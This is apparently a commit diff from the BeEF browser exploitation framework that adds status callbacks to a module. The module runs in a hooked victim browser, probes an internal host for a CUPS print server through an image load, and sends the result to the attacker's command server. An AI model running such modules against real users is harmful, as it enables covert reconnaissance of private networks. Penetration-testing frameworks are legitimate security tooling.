Add ARE status to module response

This commit is contained in:
Brendan Coles
2015-12-12 19:08:09 +00:00
parent 9dd468d10f
commit 28cd84c558
4 changed files with 8 additions and 8 deletions

View File

@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png";
img.onload = function() {
if (this.width == 128 && this.height == 128) result="Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success());
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error());
dom.removeChild(this);
}
dom.appendChild(img);